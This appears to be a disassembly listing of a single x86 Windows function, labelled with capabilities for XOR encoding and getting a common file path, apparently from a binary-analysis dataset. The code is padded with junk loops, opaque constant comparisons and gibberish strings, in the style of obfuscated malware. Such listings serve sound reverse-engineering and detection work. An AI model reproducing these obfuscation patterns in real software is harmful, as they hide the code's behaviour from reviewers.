Function at 0x10006715
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
push esi
push edi
mov edi, edx
mov dword [esp + 0x1c], edi
push 0
pop esi
test cl, cl
je 0x10006837
mov dword [esp + 0x10], 0x573f
cmp dword [esp + 0x10], 0x59bc
jle 0x10006785
mov edi, esi
mov ebx, esi
mov dword [esp + 0x20], esi
mov eax, esi
mov ecx, 0x1007bbb8
xor eax, ebx
xor eax, edi
cdq
push edx
push eax
call fcn.1000cbc0
inc esi
cmp esi, 0x2f57
jl 0x1000674c
inc ebx
push 0
pop esi
cmp ebx, 0x941
jl 0x10006748
inc edi
cmp edi, 0x494e
jl 0x10006746
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [esp + 0x10], 0x5560
jge 0x1000679e
mov edx, str.elvmds_ivgmd_wvsfjma_svjxxkb_ngmlqrund_opubu_xnhd
mov ecx, 0x1007bbb8
call fcn.1000ee07
cmp byte [ebp + 8], 0
je 0x1000682d
mov dword [esp + 0x10], 0x7af1
cmp dword [esp + 0x10], 0x7e5e
jle 0x10006804
push esi
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
mov edi, esi
mov ebx, esi
mov eax, ebx
lea ecx, [esp + 0x28]
and eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100067df
mov eax, dword [eax]
push eax
call fcn.1004d87c
pop ecx
push esi
push 1
lea ecx, [esp + 0x30]
call fcn.1000d197
inc ebx
cmp ebx, 0x8ab
jl 0x100067c5
inc edi
cmp edi, 0x63e3
jl 0x100067c3
cmp dword [esp + 0x10], 0x791b
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [eax], 0x3342eb9
jge 0x1000697c
push str.tiveduut_rkeh_jkptcbfo_yuphcij_ymayhbvl
call fcn.1004d87c
pop ecx
jmp 0x1000697c
mov eax, dword [ebp + 0x10]
dec dword [eax]
jmp 0x1000697c
mov dword [esp + 0x14], 0x2272
cmp dword [esp + 0x14], 0x22d0
jle 0x10006895
mov ebx, esi
mov edi, esi
mov dword [esp + 0x10], 0x7ede
mov eax, edi
lea ecx, [esp + 0x40]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000686d
mov eax, dword [eax]
push eax
call fcn.1004d87c
pop ecx
push esi
push 1
lea ecx, [esp + 0x48]
call fcn.1000d197
add edi, ebx
dec dword [esp + 0x10]
jne 0x10006855
inc ebx
cmp ebx, 0x3d25
jl 0x1000684b
mov edi, dword [esp + 0x1c]
cmp dword [esp + 0x14], 0x1f97
jge 0x100068aa
push str.pchgn_vsfxx_nwq_xqt_exqv_rqbsu_hbaffh_xsod_sfrriwjq_ilpqve_omsrwnxr
call fcn.1004d87c
pop ecx
cmp byte [ebp + 0x14], 0
je 0x10006976
mov dword [esp + 0x20], 0x41a3
cmp dword [esp + 0x20], 0x4314
jle 0x10006938
mov ebx, esi
mov dword [esp + 0x18], esi
mov eax, esi
mov dword [esp + 0x10], esi
mov ecx, eax
mov edx, esi
mov eax, ebx
mov dword [esp + 0x14], edx
shl eax, cl
mov dword [esp + 0x24], eax
mov edi, eax
mov esi, edx
mov ebx, 0xaa3
mov eax, esi
mov ecx, 0x1007bbb8
and eax, edi
cdq
push edx
push eax
call fcn.1000cbc0
dec esi
dec ebx
jne 0x100068eb
mov edx, dword [esp + 0x14]
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x245c
jl 0x100068e4
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
push ebx
mov ebx, dword [esp + 0x1c]
pop esi
cmp eax, 0x57a0
jl 0x100068d2
inc ebx
mov dword [esp + 0x18], ebx
cmp ebx, 0x3aa7
jl 0x100068cc
mov edi, dword [esp + 0x1c]
cmp dword [esp + 0x20], 0x4107
jge 0x10006951
mov edx, str.nyapedme_kocsyc_ekkd_swphqh_utfmjec_bhi_enplt_vjvxweya_hbsfasxf_ekrgxau_iud_qathw_aqinc_cdfhkermx
mov ecx, 0x1007bbb8
call fcn.1000ee07
mov dword [edi], esi
jmp 0x10006970
mov ecx, dword [ebp + 0x1c]
mov edx, 0xac6
push esi
push 0x7e5b
push dword [ebp + 0x18]
call fcn.100076dd
add esp, 0xc
inc dword [edi]
cmp dword [edi], esi
jle 0x10006955
jmp 0x1000697c
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret